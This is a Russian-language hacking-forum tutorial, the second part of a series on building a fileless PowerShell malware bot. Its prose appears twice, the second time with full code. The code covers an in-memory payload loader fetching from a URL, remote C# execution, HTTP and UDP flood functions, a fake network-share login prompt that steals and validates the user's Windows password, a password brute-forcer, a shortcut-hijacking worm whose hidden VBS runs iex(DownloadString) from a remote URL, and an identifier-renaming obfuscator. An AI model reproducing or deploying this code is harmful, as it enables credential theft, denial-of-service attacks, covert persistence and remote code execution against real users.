Категорически приветствую, XSS'овцы, эта вторая часть статьи "пилотной" серии статей по созданию своего простого "безфайлового" бота на повершелле. Перед тем как начать читать эту статью, советую прочитать первую часть , в которой я описал свой первый опыт по созданию своего simple малваря на этом Яп, там мы создали основной "каскад", парс комманд и два простых модуля для нашего бота. Вторая часть посвящена расширению функционала бота, исправлению большего числа допустимых мной ошибок, а так-же доработки различный "плюх". Сегодня мы расширим нашего бота следующим фунцкионалом:
Но прежде чем начать взламывать планету, проведём небольшой разбор полётов, и исправим некоторые недочёты и ошибки из первой части.
Ошибка #1. Синтаксис, что использовали в первой части, не будет работать на пш второй версии (Классы, юзинги)
Достаточно серьёзная ошибка для бота, т.к самое важное для большинства малварей - поддержка максимально возможных систем, их разрядностей. Эту ошибку можно исправить простым реврайтом кода. Особого внимания реврайту уделять не буду, но в прикреплённых сорцах эта проблема решена, все классы и юзинги удалены, используем более ранний, поддерживающий большинство систем синтаксис.
Ошибка #2. Лоадер дропает на диск то, что ему скажут грузить. Не из памяти.
Не понимаю, как я мог допустить такие глупые ошибки, ну да ладно.
Исправить это максимально просто. Теория: считываем байты файла прямо с интернета, и используя рекурсию dotnet сборок инвокаем точку входа прямо в скрипте.
Практика.
Создаём функцию, получающую байты файла:
Функция инвока сборки:
И теперь перепишем функцию Loader'a, добавим в параметры boolean $runInMemory , с её помощью лоадер будет решать, грузить сборку в памяти или дропать на диск.
Ошибка устранена. Сама функция вызывается так:
Касаемо натив файлов не так круто, придётся либо дропать файл на диск, либо юзать ранпе.
Ну и ещё две небольших ремарки по регуляркам в коде. Функция для получения регулярки теперь принимает один аргумент, вместо двух (глазам приятней):
А так-же при проверках наличия регулярок в конфиг-файле для инвока пш кода добавляем аргумент SingleLine чтобы код можно было писать в несколько строк, а не в одну, как было раньше:
Теперь можем приступить к коду нового функционала.
Модули.
По постам из прошлой статьи решил добавить использования шарпо-кода. Компилировать код мы будем при помощи Add-Type. Смотрим функцию:
Всё максимально просто, но и есть пару исключений: каждый раз придётся заменять в скрипте имя неймспайса или класса (чтобы использовать его в iex), что крайне неудобно. И второе это то, что при повторном запуске того-же кода, Add-Type выдаст исключение: Add-Type : Cannot add type. The type name 'NameSpace.Program' already exists. Он не сможет выполнить код, т.к код с таким namespace'сом уже есть. Вот такие пироги.
Но на самом оба этих недостатка исправить не составит труда. Для этого мы добавим парс имени неймспайса, а к имени класса Program добавим рандомное число, тогда имя класса будет другим, и это исключение мы обойдем. Смотрим на код обновлённой функции:
Теперь один и тот же код можно запускать несколько раз. Добавим поиск регулярки в конфиг файле и саму регулярку:
С методами ддоса я решил не париться, т.к о этих методах много не расскажешь, ведь они являются самыми стандартными и простыми. Просто покажу как выглядят главные функции (полный код в прикреплённом архиве):
Перейдём к более интересному модулю - получение пароля текущего пользователя.
Теория. Мы будем создавать фейковое системное окно с просьбой повторного подключения к "сетевому ресурсу", и после ввода пароля имя текущего юзверя, пароль от его учётной записи и домённое имя.
Использовать мы будем $Host.UI.PromptForCredential функцию. Эта команда используют объект учетных данных, который возвращает cmdlet Get-Credential , для проверки пользователя на удаленном сервере, чтобы он мог использовать инструментарий управления Windows (WMI) для последующего управления удалённым компьютером. По умолчанию появляется диалоговое окно аутентификации с запросом пользователя и пароля. Перед тем, как показывать фейковое окно, мы проверим является ли бзер частью какой-либо сети или ПК является локальной машиной. Приступим.
Первым делом нам нужно добавить в скрипт две ссылки: System.DirectoryServices.AccountManagement (Для валидации данных) и System.Windows.Forms (Для сообщения об ошибке):
Создадим 2 переменных, содержащих имя текущего юзверя и имя домена
Теперь создаём фейковое диалоговое окно, и получаем введёным пользователем пароль:
Теперь создаём переменную содержащую данные юзера, и возвращаем их (При создании панели, в следующей части эти данные мы будем отправлять на сервер).
Тестим:
После ввода пароля получаем данные:
Стоит заметить, что пользователь может написать абсолютно любой текст, и окно исчезнет. Чтобы такого небыло мы добавим валидацию пароля пользователя.
Добавим новую boolean переменную, которая определяет, являеться ли пользователь частью "домена":
Если $partOfDomain вернёт True, тогда компьютер является частью домена. Иначе компьютер не входит в домен или его состояние неизвестно. Стоит подчеркнуть, что если компьютер был частью сети, но его удалили, тогда значение вернёт False. Отталкиваясь от этой переменной мы сделаем такую проверку:
Теперь нам нужно проверить валидности введёных пользователем данных, для этого создаём нам нужно создать объект класса DirectoryServices.AccountManagement.PrincipalContext и в зависимости от проверки выше присвоить ему нужный аргумент: [DirectoryServices.AccountManagement.ContextType]:
omain если ПК является частью домена или [DirectoryServices.AccountManagement.ContextType]::Machine в ином случае. После этого вызываем метод ValidateCredentials() в аргументы которого передаём данные введёные юзером и если пароль не верный, выведем сообщение с текстом ошибки. Помимо этого добавим переменную-счётчик, которая будет проверять, сколько раз пользователь ввёл невереные данные, если это число будет больше, то вместо состиленных данных на сервер отправим сообщение о неудаче. Полный код выглядит так:
Теперь когда юзер введёт неверный пасс, появиться сообщение об ошибке:
И попросит ввести пароль снова. На основе этой функции можно создать функцию брутфорса пароля (Будет полезно если в ваших интересах никак не палиться перед юзером). Для реализации создадим список популярных паролей в скрипте и циклом пробовать их перебирать:
Перейдём к модулю, который позволит нам закрепиться в системе.
Теория. Работать мы будем с ярлыками и VBS - скриптами. Получим путь до ярлыка, возьмём из него данные (иконку, описание, имя, файл который этот ярлык запускает) и сгенерируем вредоносный VBS скрипт, который будет инвокать скрипт из интернета, и запускать оригинальный файл.
Практика.
Создаём новую функцию, в аргументах которой находятся две переменнных $lnk - прямой путь до ярлыка, и $scriptUrl - ссылка, где находится наш скрипт (в RAW формате). Теперь создадим три переменные, которые хранят информацию по оригинальному .lnk файлу (Полный путь, имя, имя директории):
После этого создадим новый объект COM интерфейса WScript.Shell для получения: целевой и рабочей директории, иконки, и описания оригинального ярлыка. Так же получим имя запускаемого файла:
Теперь нам нужно сгенерировать вбс скрипт, который будет выполнять основную работу. Создаём новую функцию generate-vbs которая принимает 2 аргумента: путь до запускаемого файла ($targetBinary) и ссылку с нашим скриптом. Ну и собственно сам код функции, с комментариями:
А вот так выглядит сгенерированный VBS:
Вернёмся к главной функции, сгенерируем наш vbs скрипт, дропнем в папку, и скроем:
Дело за малым, удаляем оригинальный ярлык, и создаём наш, который вызывает cmd.exe который запустит наш сгенерированный vbs. Код:
Вот и всё, при вызове этой функции, она заменит ярлык на наш, после запуска вбс откроет ориг файл и запустит наш пш скрипт.
С модулями всё, перейдём к небольшому бонусу.
Ренеймер.
Это небольшое дополнение к боту. Напишем простой ренеймер функций и переменных с использвонием аст.
AST - это представления кода, в основном с ним знакомы кодеры, которые пишут на скрптовых языках. Когда компилятор преобразует код, выполняются следующие действия: Лексический и Синтаксический анализ, а после Генерация кода.
Теория. Мы получаем структуру файла, после ищем все функции и переменные, после обрабатываем их циклом и заменяем на рандомные символы.
Практика. Первым делом создаем пространство выполнения с использованием типа Microsoft.PowerShell.DefaultHost. Это пространство создается с использованием информации RunspaceConfiguration из EntryAssembly.
Далее парсим AST нашего скрипта:
Получаем все переменные и функции:
Создаём "копию" нашего скрипта, и помещаем её в переменную, после заменяем имена циклом:
На этом код ренейнера заканчивается, перейдём к тесту, вот так выглядит оригинальный скрипт нашего файла:
После ренейма:
ВЫВОДЫ.
Спустя полгода лишь решил написать продолжение, но ведь лучше поздно, чем никогда
В этой статье мы расширили функционал нашего бота, добавили методы DDoS, заражения ярлыков и остальные прикольные плюхи. Постарался исправить все недочёты, что были в первой статье.
Да, ренеймер имеет максимально костыльную реализацию, да и при должном опыте с AST можно сделать полноценный PowerShell обфускатор, но это был мой первый в жизни опыт с аст, не судите строго. Архив со всеми скриптами прилагаю к посту. Пароль местный.
(c) V1rtualGh0st Специально для xss.pro with Love <3.
- Самые стандартные методы DDoS атак. HTPP & UDP.
- Стиллингу данных учётных записей пользователя(лей) в текущей системе.
- Компиляция C# кода прямиком из бота.
- Простой червь, заражающий ярлыки. И вызов PS из-под VBS.
- Ну и как бонус напишем свой максимально простой (и немного костыльный)) ренеймер переменных и функций с использованием Abstract Syntax Tree.
Но прежде чем начать взламывать планету, проведём небольшой разбор полётов, и исправим некоторые недочёты и ошибки из первой части.
Ошибка #1. Синтаксис, что использовали в первой части, не будет работать на пш второй версии (Классы, юзинги)
Достаточно серьёзная ошибка для бота, т.к самое важное для большинства малварей - поддержка максимально возможных систем, их разрядностей. Эту ошибку можно исправить простым реврайтом кода. Особого внимания реврайту уделять не буду, но в прикреплённых сорцах эта проблема решена, все классы и юзинги удалены, используем более ранний, поддерживающий большинство систем синтаксис.
Ошибка #2. Лоадер дропает на диск то, что ему скажут грузить. Не из памяти.
Не понимаю, как я мог допустить такие глупые ошибки, ну да ладно.
Исправить это максимально просто. Теория: считываем байты файла прямо с интернета, и используя рекурсию dotnet сборок инвокаем точку входа прямо в скрипте.
Практика.
Создаём функцию, получающую байты файла:
PHP:
function getPayloadBytes([string] $url){
[System.Net.ServicePointManager]::SecurityProtocol = [System.Net.SecurityProtocolType]::Tls12; # TLS SSL
[byte[]] $bytes = [Net.WebClient]::new().DownloadData($url) # Loading Bytes
#Write-Host "Bytes Len: ", $bytes.Length
return $bytes
}
Функция инвока сборки:
PHP:
function runDotnetAsm([byte[]] $bytes){
[Reflection.Assembly]$assembly = [System.AppDomain]::CurrentDomain.Load($bytes) # Load Assembly
[Reflection.MethodInfo]$metInfo = $assembly.EntryPoint # Get Entry Point
[object]$injObj = $assembly.CreateInstance($metInfo.Name)
[object[]]$parametrsObj = [object]::new()[1] # Get Params
if($metInfo.GetParameters().Length -eq 0) # If Assembly - VB, update params
{
$parametrsObj = $null
}
$metInfo.Invoke($injObj, $parametrsObj) # Invoke
}
И теперь перепишем функцию Loader'a, добавим в параметры boolean $runInMemory , с её помощью лоадер будет решать, грузить сборку в памяти или дропать на диск.
PHP:
function Loader([string]$url, [bool]$selfDelete, [bool]$runInMemory){
try
{
$bytes = getPayloadBytes($url) # Get bytes
if($runInMemory -eq $true){
#Write-Host "In memory"
runDotnetAsm -bytes $bytes
}
if ($runInMemory -eq $false){
$output = "$([IO.Path]::GetTempPath())$(randomString).exe" # Random File Name
#[IO.File]::WriteAllBytes($output, $bytes)
Set-Content -Path $output -Value $bytes # Writing bytes
[Diagnostics.Process]::Start($output) # Run
if($selfDelete)
{
[IO.File]::Delete($output); # Self Delete
}
}
}
catch{}
}
Ошибка устранена. Сама функция вызывается так:
Loader -url $url -selfDelete $false -runInMemory $true true \ false по вашему усмотрению Касаемо натив файлов не так круто, придётся либо дропать файл на диск, либо юзать ранпе.
Ну и ещё две небольших ремарки по регуляркам в коде. Функция для получения регулярки теперь принимает один аргумент, вместо двух (глазам приятней):
PHP:
function jsonRegex($tag)
{
return "(?<=<$tag>)(.*)(?=<\/$tag>)"
}
А так-же при проверках наличия регулярок в конфиг-файле для инвока пш кода добавляем аргумент SingleLine чтобы код можно было писать в несколько строк, а не в одну, как было раньше:
[Regex]$psCommand = [Regex]::new($(jsonRegex -tag "ps"), [Text.RegularExpressions.RegexOptions]::Singleline) Теперь можем приступить к коду нового функционала.
Модули.
По постам из прошлой статьи решил добавить использования шарпо-кода. Компилировать код мы будем при помощи Add-Type. Смотрим функцию:
PHP:
function iexCsharp([string]$code){
Add-Type -TypeDefinition $code -Language CSharp
iex "[NameSpace.Program]::Main()"
}
Всё максимально просто, но и есть пару исключений: каждый раз придётся заменять в скрипте имя неймспайса или класса (чтобы использовать его в iex), что крайне неудобно. И второе это то, что при повторном запуске того-же кода, Add-Type выдаст исключение: Add-Type : Cannot add type. The type name 'NameSpace.Program' already exists. Он не сможет выполнить код, т.к код с таким namespace'сом уже есть. Вот такие пироги.
Но на самом оба этих недостатка исправить не составит труда. Для этого мы добавим парс имени неймспайса, а к имени класса Program добавим рандомное число, тогда имя класса будет другим, и это исключение мы обойдем. Смотрим на код обновлённой функции:
PHP:
function iexCsharp([string]$code){
$id = get-random # Generate random number
$namespace = [Regex]::new("namespace (.*)").Match($code).Groups[1].Value.Trim() # Namespace name parse
$code = $code -replace "Program", "Program$id" # Replace "Program" to "Program123" (random num)
Add-Type -TypeDefinition $code -Language CSharp
iex "[$namespace.Program$id]::Main()" # Call code with new Class Name
}
Теперь один и тот же код можно запускать несколько раз. Добавим поиск регулярки в конфиг файле и саму регулярку:
PHP:
[Regex]$csCode = [Regex]::new($(jsonRegex -tag "cs"), [Text.RegularExpressions.RegexOptions]::Singleline)
PHP:
if($csCode.IsMatch($content)){
[string]$code = $csCode.Match($content)
iexCsharp($code)
}
С методами ддоса я решил не париться, т.к о этих методах много не расскажешь, ведь они являются самыми стандартными и простыми. Просто покажу как выглядят главные функции (полный код в прикреплённом архиве):
PHP:
function httpMain($Url){
Write-Host $Url
while($true){
[string[]] $response = $(GetReq($Url)).Split(';')
try{
Http-Flood([int]::Parse($response[3]), [int]::Parse($response[4]))
}
catch{
}
}
}
PHP:
function launch-udpFlood {
[CmdletBinding()] Param(
[Parameter(Position=0)]
[String]$targetIP
)
## Check IP variable
if ($targetIP) {
# launch udp flood on range of ports 80 to 1000
foreach ( $port in 80..1000 ) { udpEngine $targetIP $port }
} else { write-output "[Error] target IP not specified" }
}
Перейдём к более интересному модулю - получение пароля текущего пользователя.
Теория. Мы будем создавать фейковое системное окно с просьбой повторного подключения к "сетевому ресурсу", и после ввода пароля имя текущего юзверя, пароль от его учётной записи и домённое имя.
Использовать мы будем $Host.UI.PromptForCredential функцию. Эта команда используют объект учетных данных, который возвращает cmdlet Get-Credential , для проверки пользователя на удаленном сервере, чтобы он мог использовать инструментарий управления Windows (WMI) для последующего управления удалённым компьютером. По умолчанию появляется диалоговое окно аутентификации с запросом пользователя и пароля. Перед тем, как показывать фейковое окно, мы проверим является ли бзер частью какой-либо сети или ПК является локальной машиной. Приступим.
Первым делом нам нужно добавить в скрипт две ссылки: System.DirectoryServices.AccountManagement (Для валидации данных) и System.Windows.Forms (Для сообщения об ошибке):
Код:
Add-Type -AssemblyName system.DirectoryServices.AccountManagement
Add-Type -AssemblyName System.Windows.Forms
Создадим 2 переменных, содержащих имя текущего юзверя и имя домена
PHP:
$user = [Environment]::UserName
$domain = [Environment]::UserDomainName
Теперь создаём фейковое диалоговое окно, и получаем введёным пользователем пароль:
PHP:
$fakeWindow = $Host.UI.PromptForCredential('Reconnect to Network Share','',$user,$domain)
$pass = $fakeWindow.getnetworkcredential().password
Теперь создаём переменную содержащую данные юзера, и возвращаем их (При создании панели, в следующей части эти данные мы будем отправлять на сервер).
PHP:
$stealedData = "$domain|$user : $pass"
return $stealedData
Тестим:
После ввода пароля получаем данные:
Стоит заметить, что пользователь может написать абсолютно любой текст, и окно исчезнет. Чтобы такого небыло мы добавим валидацию пароля пользователя.
Добавим новую boolean переменную, которая определяет, являеться ли пользователь частью "домена":
PHP:
$partOfDomain = (gwmi win32_computersystem).partofdomain
Если $partOfDomain вернёт True, тогда компьютер является частью домена. Иначе компьютер не входит в домен или его состояние неизвестно. Стоит подчеркнуть, что если компьютер был частью сети, но его удалили, тогда значение вернёт False. Отталкиваясь от этой переменной мы сделаем такую проверку:
PHP:
if ($partOfDomain -eq $true ) {
}
else{
}
Теперь нам нужно проверить валидности введёных пользователем данных, для этого создаём нам нужно создать объект класса DirectoryServices.AccountManagement.PrincipalContext и в зависимости от проверки выше присвоить ему нужный аргумент: [DirectoryServices.AccountManagement.ContextType]:
Код:
function stealUser-creds {
Add-Type -AssemblyName system.DirectoryServices.AccountManagement
Add-Type -AssemblyName System.Windows.Forms
[int]$cnt = 1 # Tryes count
while ( $cnt -lt '4' ) {
$user = [Environment]::UserName
$domain = [Environment]::UserDomainName
$fakeWindow = $Host.UI.PromptForCredential('Reconnect to Network Share','',$user,$domain)
$pass = $fakeWindow.getnetworkcredential().password # Password in window
$partOfDomain = (gwmi win32_computersystem).partofdomain
if ($partOfDomain -eq $true ) {
$cntxtdom = New-Object DirectoryServices.AccountManagement.PrincipalContext([DirectoryServices.AccountManagement.ContextType]::Domain, $domain)
$chkdom = $cntxtdom.ValidateCredentials($user,$pass)
if ( $chkdom -eq $false ) {
$choice = [Windows.Forms.MessageBox]::Show("Authentication failed! Please enter correct password", "Reconnection Attempt Failed!", [Windows.Forms.MessageBoxButtons]::OK, [Windows.Forms.MessageBoxIcon]::Warning) # Error Msg
} else { break }
} else {
$localMachine = New-Object DirectoryServices.AccountManagement.PrincipalContext([DirectoryServices.AccountManagement.ContextType]::Machine)
$credtest = $localMachine.ValidateCredentials($user,$pass)
if ( $credtest -eq $false ) {
$choice = [Windows.Forms.MessageBox]::Show("Authentication failed! Please enter correct password", "Reconnection Attempt Failed!", [Windows.Forms.MessageBoxButtons]::OK, [Windows.Forms.MessageBoxIcon]::Warning) # Error Msg
} else { break }
}
$cnt++
}
if ( $cnt -eq '4' ) {
$stealedData = "Error"
} else {
$stealedData = "$domain|$user : $pass"
}
return $stealedData
}
Теперь когда юзер введёт неверный пасс, появиться сообщение об ошибке:
И попросит ввести пароль снова. На основе этой функции можно создать функцию брутфорса пароля (Будет полезно если в ваших интересах никак не палиться перед юзером). Для реализации создадим список популярных паролей в скрипте и циклом пробовать их перебирать:
PHP:
$passwords = @('admin', '123', '1', '', ' ') # Passwords List
$user = [Environment]::UserName
$domain = [Environment]::UserDomainName
$partOfDomain = (gwmi win32_computersystem).partofdomain
if ($partOfDomain -eq $true ) {
$cntxtdom = New-Object DirectoryServices.AccountManagement.PrincipalContext([DirectoryServices.AccountManagement.ContextType]::Domain, $domain)
for($i = 0; $i -le $passwords.Length; $i++){
Write-Host "Trying pass... ", $passwords[$i]
$valid = $cntxtdom.ValidateCredentials($user, $passwords[$i])
if($valid -eq $true){
Write-Host "Password Found!\r\nData: $user : ", $passwords[$i]
break;
}
}
}
else{
$localMachine = New-Object DirectoryServices.AccountManagement.PrincipalContext([DirectoryServices.AccountManagement.ContextType]::Machine)
for($i = 0; $i -le $passwords.Length; $i++){
Write-Host "Trying pass... ", $passwords[$i]
$valid = $localMachine.ValidateCredentials($user, $passwords[$i])
if($valid -eq $true){
Write-Host "Password Found! Data: $user : ", $passwords[$i]
break;
}
}
}
Перейдём к модулю, который позволит нам закрепиться в системе.
Теория. Работать мы будем с ярлыками и VBS - скриптами. Получим путь до ярлыка, возьмём из него данные (иконку, описание, имя, файл который этот ярлык запускает) и сгенерируем вредоносный VBS скрипт, который будет инвокать скрипт из интернета, и запускать оригинальный файл.
Практика.
Создаём новую функцию, в аргументах которой находятся две переменнных $lnk - прямой путь до ярлыка, и $scriptUrl - ссылка, где находится наш скрипт (в RAW формате). Теперь создадим три переменные, которые хранят информацию по оригинальному .lnk файлу (Полный путь, имя, имя директории):
PHP:
$shortcutFullname = (gci $lnk).Fullname
$location = (gci $lnk).DirectoryName
$lnkName = (gci $lnk).Name
После этого создадим новый объект COM интерфейса WScript.Shell для получения: целевой и рабочей директории, иконки, и описания оригинального ярлыка. Так же получим имя запускаемого файла:
PHP:
$wsh = New-Object -COM WScript.Shell
$targetPath = $wsh.CreateShortcut("$shortcutFullname").TargetPath
$workingDir = $wsh.CreateShortcut("$shortcutFullname").WorkingDirectory
$iconloc = $wsh.CreateShortcut("$shortcutFullname").IconLocation
$descript = $wsh.CreateShortcut("$shortcutFullname").Description
$targetBinary = (gci $targetPath).Name
Теперь нам нужно сгенерировать вбс скрипт, который будет выполнять основную работу. Создаём новую функцию generate-vbs которая принимает 2 аргумента: путь до запускаемого файла ($targetBinary) и ссылку с нашим скриптом. Ну и собственно сам код функции, с комментариями:
PHP:
function generate-vbs($scriptUrl, $exeFile){
$scriptText = "" # Script Text
$newLine = "`r`n"
$funcName1 = rand-str # Random Function name
$var1 = rand-str # Random Variable name
$funcName2 = rand-str
$var2 = rand-str
# Start generating vbs script
#Run Original .exe file
$scriptText += "Function $funcName2()$newLine"
$scriptText += "set $var2 = createObject(""wscript.shell"")$newLine"
$scriptText += "$var2.run ""cmd /c start $exeFile""$newLine"
$scriptText += "End Function$newLine"
# call powershell with invoke powershell script from url
$scriptText += "Function $funcName1()$newLine"
$scriptText += "set $var1 = createObject(""wscript.shell"")$newLine"
$scriptText += "$var1.run ""cmd /q /c powershell.exe -c """"&{[System.Net.ServicePointManager]::ServerCertificateValidationCallback={`$true};iex(New-Object System.Net.Webclient).DownloadString('$scriptUrl')}""""""$newLine"
$scriptText += "End Function$newLine"
$scriptText += "$newLine$funcName2$newLine$funcName1"
return $scriptText
}
А вот так выглядит сгенерированный VBS:
Вернёмся к главной функции, сгенерируем наш vbs скрипт, дропнем в папку, и скроем:
PHP:
$saveDir = $env:localappdata + '\' + $(rand-str) + '.vbs' # Full Path
$evilVbsScript = generate-vbs -scriptUrl $scriptUrl -exeFile $targetBinary # Call vbs generate
set-content $saveDir $evilVbsScript # write vbs
$evilAtt = get-item $saveDir
$evilAtt.attributes="Hidden" # Set "Hidden" Attr
Дело за малым, удаляем оригинальный ярлык, и создаём наш, который вызывает cmd.exe который запустит наш сгенерированный vbs. Код:
PHP:
Remove-Item $shortcutFullname
$wsh2 = New-Object -COM WScript.Shell # Create com interface
$evilLnk = $lnk
$evilLnk = $wsh2.CreateShortcut("$evilLnk")
$evilLnk.TargetPath = "c:\windows\system32\cmd.exe" # Call cmd.exe
$evilLnk.WorkingDirectory = $workingDir
$args = '/c ' + '"' + $saveDir + '"'
$evilLnk.Arguments = "$args" # with this args
$newIcon = $targetPath + ',0'
$evilLnk.IconLocation = "$newIcon" # Set original icon
$evilLnk.Save(); # save that
Вот и всё, при вызове этой функции, она заменит ярлык на наш, после запуска вбс откроет ориг файл и запустит наш пш скрипт.
С модулями всё, перейдём к небольшому бонусу.
Ренеймер.
Это небольшое дополнение к боту. Напишем простой ренеймер функций и переменных с использвонием аст.
AST - это представления кода, в основном с ним знакомы кодеры, которые пишут на скрптовых языках. Когда компилятор преобразует код, выполняются следующие действия: Лексический и Синтаксический анализ, а после Генерация кода.
Теория. Мы получаем структуру файла, после ищем все функции и переменные, после обрабатываем их циклом и заменяем на рандомные символы.
Практика. Первым делом создаем пространство выполнения с использованием типа Microsoft.PowerShell.DefaultHost. Это пространство создается с использованием информации RunspaceConfiguration из EntryAssembly.
PHP:
$rs = [runspacefactory]::CreateRunspace()
$rs.Open()
Далее парсим AST нашего скрипта:
Код:
$tokens = $errors = $null
$ast = [System.Management.Automation.Language.Parser]::ParseFile(
'xssbot2.ps1', # file name
[ref]$tokens,
[ref]$errors)
Код:
$functionDefinitions = $ast.FindAll({
$ast -is [System.Management.Automation.Language.FunctionDefinitionAst] -and
($PSVersionTable.PSVersion.Major -lt 5 -or
$Ast.Parent -isnot [System.Management.Automation.Language.FunctionMemberAst])
}, $true)
$getAllVariables = $ast.FindAll( { $true }, $true) |
Where-Object { $_.GetType().Name -eq 'VariableExpressionAst' }
Создаём "копию" нашего скрипта, и помещаем её в переменную, после заменяем имена циклом:
Код:
$orig = $ast.Copy()
$functionDefinitions | ForEach-Object {
$funcName = $_.Name
$random = rand-str
$orig = $orig.ToString().Replace($funcName, $random) # replace
#Write-Host "Func Name: $funcName"
}
$getAllVariables | ForEach-Object{
$varName = $_.VariablePath.ToString()
$random = rand-str
if($varName -ne "true" -and $varName -ne "Host" -and $varName -ne "false") { # if variable not $true $Host etc
$orig = $orig.ToString().Replace("`$$varName", "`$$random").Replace("-$varName", "-$random")
}
}
На этом код ренейнера заканчивается, перейдём к тесту, вот так выглядит оригинальный скрипт нашего файла:
После ренейма:
ВЫВОДЫ.
Спустя полгода лишь решил написать продолжение, но ведь лучше поздно, чем никогда
В этой статье мы расширили функционал нашего бота, добавили методы DDoS, заражения ярлыков и остальные прикольные плюхи. Постарался исправить все недочёты, что были в первой статье.
Да, ренеймер имеет максимально костыльную реализацию, да и при должном опыте с AST можно сделать полноценный PowerShell обфускатор, но это был мой первый в жизни опыт с аст, не судите строго. Архив со всеми скриптами прилагаю к посту. Пароль местный.
(c) V1rtualGh0st Специально для xss.pro with Love <3.